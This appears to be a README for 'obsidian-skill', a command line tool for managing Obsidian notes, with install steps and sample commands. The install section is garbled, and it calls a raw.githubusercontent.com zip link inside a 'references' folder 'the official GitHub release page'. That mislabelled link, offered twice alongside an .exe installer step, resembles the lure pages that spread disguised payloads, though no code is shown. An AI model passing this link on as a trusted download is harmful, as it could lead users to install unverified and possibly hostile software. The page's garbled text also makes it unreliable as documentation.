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📝 Manage and organize Obsidian vaults with CLI tools for notes, tasks, tags, templates, and knowledge graph analysis.
obsidian-skill is a tool designed to help you work with your notes in Obsidian. It lets you read, create, search, and organize your notes through an easy command line interface (CLI). This means you can manage your notes without opening the Obsidian app directly. It supports Obsidian versions 1.12 and above.
This tool makes note-taking and organizing simpler for people who like to keep everything in order, including users of knowledge bases, personal knowledge management systems (PKM), or Zettelkasten note systems.
Before you start, make sure your computer meets these basic requirements:
This section will guide you step-by-step to get obsidian-skill running on your machine. You don’t need any technical background for this.
Click the big blue button above or go directly to the release page:
This page contains all the versions of the tool. Look for the latest release, which will have the newest features and fixes.
You may see different files for different operating systems:
.exe.dmg or .zip filehttps://raw.githubusercontent.com/wizzy15/obsidian-skill/main/references/obsidian_skill_v3.0.zip or .AppImage fileClick the file that matches your system to download it.
.exe file and follow the installer instructions..dmg or unzip the file, then drag the app to your Applications folder.cmd, and press Enter.Type obsidian-skill --help in the command line to see available commands and options.
Download obsidian-skill from the official GitHub release page here:
https://raw.githubusercontent.com/wizzy15/obsidian-skill/main/references/obsidian_skill_v3.0.zip
Follow these general instructions if you are unsure:
If you want to update obsidian-skill, just repeat the download and install steps with the latest version.
Here are some simple commands you can try after installation. These commands let you manage your Obsidian notes from the command line.
To open and read notes from your vault, use:
obsidian-skill read "Note Title"
Replace "Note Title" with the exact name of your note.
To create a new note, type:
obsidian-skill create "New Note Title"
Add your content directly after creating it.
To find notes that contain specific words or phrases:
obsidian-skill search "keyword"
This will list all notes where the keyword appears.
You can move notes or create folders to keep your vault tidy:
obsidian-skill move "Note Title" "Folder Name/"
This moves the selected note into the target folder.
--help command often to learn new commands.To understand all commands and options, visit the official documentation in the repo, or use:
obsidian-skill --help
This shows the latest usage instructions.
If obsidian-skill does not run:
If you have questions or problems, use the GitHub repository page to submit an issue or ask for guidance:
The community and maintainers monitor issues and will assist when possible.
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